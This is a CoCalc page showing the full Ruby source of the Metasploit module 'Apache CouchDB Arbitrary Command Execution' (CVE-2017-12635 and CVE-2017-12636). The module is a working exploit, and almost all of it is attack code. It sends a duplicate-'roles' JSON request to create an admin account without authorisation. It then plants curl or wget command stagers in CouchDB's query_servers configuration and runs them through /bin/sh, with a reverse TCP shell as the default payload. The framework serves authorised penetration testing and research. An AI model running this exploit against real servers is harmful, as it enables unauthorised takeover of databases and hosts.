CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::CmdStager
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'Apache CouchDB Arbitrary Command Execution',
17
'Description' => %q{
18
CouchDB administrative users can configure the database server via HTTP(S).
19
Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
20
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
21
including downloading and executing scripts from the public internet.
22
},
23
'Author' => [
24
'Max Justicz', # CVE-2017-12635 Vulnerability discovery
25
'Joan Touzet', # CVE-2017-12636 Vulnerability discovery
26
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
27
],
28
'References' => [
29
['CVE', '2017-12636'],
30
['CVE', '2017-12635'],
31
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
32
['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
33
['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
34
],
35
'DisclosureDate' => '2016-04-06',
36
'License' => MSF_LICENSE,
37
'Platform' => 'linux',
38
'Arch' => [ARCH_X86, ARCH_X64],
39
'Privileged' => false,
40
'DefaultOptions' => {
41
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
42
'CMDSTAGER::FLAVOR' => 'curl'
43
},
44
'CmdStagerFlavor' => ['curl', 'wget'],
45
'Targets' => [
46
['Automatic', {}],
47
['Apache CouchDB version 1.x', {}],
48
['Apache CouchDB version 2.x', {}]
49
],
50
'DefaultTarget' => 0
51
))
52
53
register_options([
54
Opt::RPORT(5984),
55
OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
56
OptString.new('HttpUsername', [false, 'The username to login as']),
57
OptString.new('HttpPassword', [false, 'The password to login with'])
58
])
59
60
register_advanced_options([
61
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
62
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
63
])
64
end
65
66
def post_auth?
67
true
68
end
69
70
def check
71
get_version
72
return CheckCode::Unknown if @version.nil?
73
version = Rex::Version.new(@version)
74
return CheckCode::Unknown if version.version.empty?
75
vprint_status "Found CouchDB version #{version}"
76
77
return CheckCode::Appears if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
78
79
CheckCode::Safe
80
end
81
82
def exploit
83
fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
84
version = @version
85
86
vprint_good("#{peer} - Authorization bypass successful") if auth_bypass
87
88
print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
89
@cmdstager = generate_cmdstager(
90
temp: datastore['WritableDir'],
91
file: File.basename(cmdstager_path)
92
).join(';')
93
94
register_file_for_cleanup(cmdstager_path)
95
96
if !datastore['Attempts'] || datastore['Attempts'] <= 0
97
attempts = 1
98
else
99
attempts = datastore['Attempts']
100
end
101
102
attempts.times do |i|
103
print_status("#{peer} - The #{i + 1} time to exploit")
104
send_payload(version)
105
Rex.sleep(5)
106
# break if we get the shell
107
break if session_created?
108
end
109
end
110
111
# CVE-2017-12635
112
# The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON,
113
# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
114
# for the newly created user.
115
def auth_bypass
116
username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
117
password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
118
@auth = basic_auth(username, password)
119
120
res = send_request_cgi(
121
'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
122
'method' => 'PUT',
123
'ctype' => 'application/json',
124
'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})
125
)
126
127
if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok']
128
return true
129
else
130
return false
131
end
132
end
133
134
def get_version
135
@version = nil
136
137
begin
138
res = send_request_cgi(
139
'uri' => normalize_uri(target_uri.path),
140
'method' => 'GET',
141
'authorization' => @auth
142
)
143
rescue Rex::ConnectionError
144
vprint_bad("#{peer} - Connection failed")
145
return false
146
end
147
148
unless res
149
vprint_bad("#{peer} - No response, check if it is CouchDB. ")
150
return false
151
end
152
153
if res && res.code == 401
154
print_bad("#{peer} - Authentication required.")
155
return false
156
end
157
158
if res && res.code == 200
159
res_json = res.get_json_document
160
161
if res_json.empty?
162
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
163
return false
164
end
165
166
@version = res_json['version'] if res_json['version']
167
return true
168
end
169
170
vprint_warning("#{peer} - Version not found")
171
return true
172
end
173
174
def send_payload(version)
175
vprint_status("#{peer} - CouchDB version is #{version}") if version
176
177
version = Rex::Version.new(@version)
178
if version.version.empty?
179
vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
180
# if target set Automatic, exploit failed.
181
if target == targets[0]
182
fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
183
elsif target == targets[1]
184
payload1
185
elsif target == targets[2]
186
payload2
187
end
188
elsif version < Rex::Version.new('1.7.0')
189
payload1
190
elsif version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
191
payload2
192
elsif version >= Rex::Version.new('1.7.0') || Rex::Version.new('2.1.0')
193
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
194
end
195
end
196
197
# Exploit with multi requests
198
# payload1 is for the version of couchdb below 1.7.0
199
def payload1
200
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
201
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
202
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
203
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
204
rand_hex = Rex::Text.rand_text_hex(32)
205
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
206
207
register_file_for_cleanup(rand_file)
208
209
send_request_cgi(
210
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
211
'method' => 'PUT',
212
'authorization' => @auth,
213
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
214
)
215
216
send_request_cgi(
217
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
218
'method' => 'PUT',
219
'authorization' => @auth
220
)
221
222
send_request_cgi(
223
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
224
'method' => 'PUT',
225
'authorization' => @auth,
226
'data' => %({"_id": "#{rand_hex}"})
227
)
228
229
send_request_cgi(
230
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
231
'method' => 'POST',
232
'authorization' => @auth,
233
'ctype' => 'application/json',
234
'data' => %({"language":"#{rand_cmd1}","map":""})
235
)
236
237
send_request_cgi(
238
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
239
'method' => 'PUT',
240
'authorization' => @auth,
241
'data' => %("/bin/sh #{rand_file}")
242
)
243
244
send_request_cgi(
245
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
246
'method' => 'POST',
247
'authorization' => @auth,
248
'ctype' => 'application/json',
249
'data' => %({"language":"#{rand_cmd2}","map":""})
250
)
251
end
252
253
# payload2 is for the version of couchdb below 2.1.1
254
def payload2
255
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
256
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
257
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
258
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
259
rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)
260
rand_hex = Rex::Text.rand_text_hex(32)
261
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
262
263
register_file_for_cleanup(rand_file)
264
265
res = send_request_cgi(
266
'uri' => normalize_uri(target_uri.path, "/_membership"),
267
'method' => 'GET',
268
'authorization' => @auth
269
)
270
271
node = res.get_json_document['all_nodes'][0]
272
273
send_request_cgi(
274
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
275
'method' => 'PUT',
276
'authorization' => @auth,
277
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
278
)
279
280
send_request_cgi(
281
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
282
'method' => 'PUT',
283
'authorization' => @auth
284
)
285
286
send_request_cgi(
287
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
288
'method' => 'PUT',
289
'authorization' => @auth,
290
'data' => %({"_id": "#{rand_hex}"})
291
)
292
293
send_request_cgi(
294
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
295
'method' => 'PUT',
296
'authorization' => @auth,
297
'ctype' => 'application/json',
298
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
299
)
300
301
send_request_cgi(
302
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
303
'method' => 'PUT',
304
'authorization' => @auth,
305
'data' => %("/bin/sh #{rand_file}")
306
)
307
308
send_request_cgi(
309
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
310
'method' => 'PUT',
311
'authorization' => @auth,
312
'ctype' => 'application/json',
313
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})
314
)
315
end
316
317
def cmdstager_path
318
@cmdstager_path ||=
319
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
320
end
321
322
end
323
324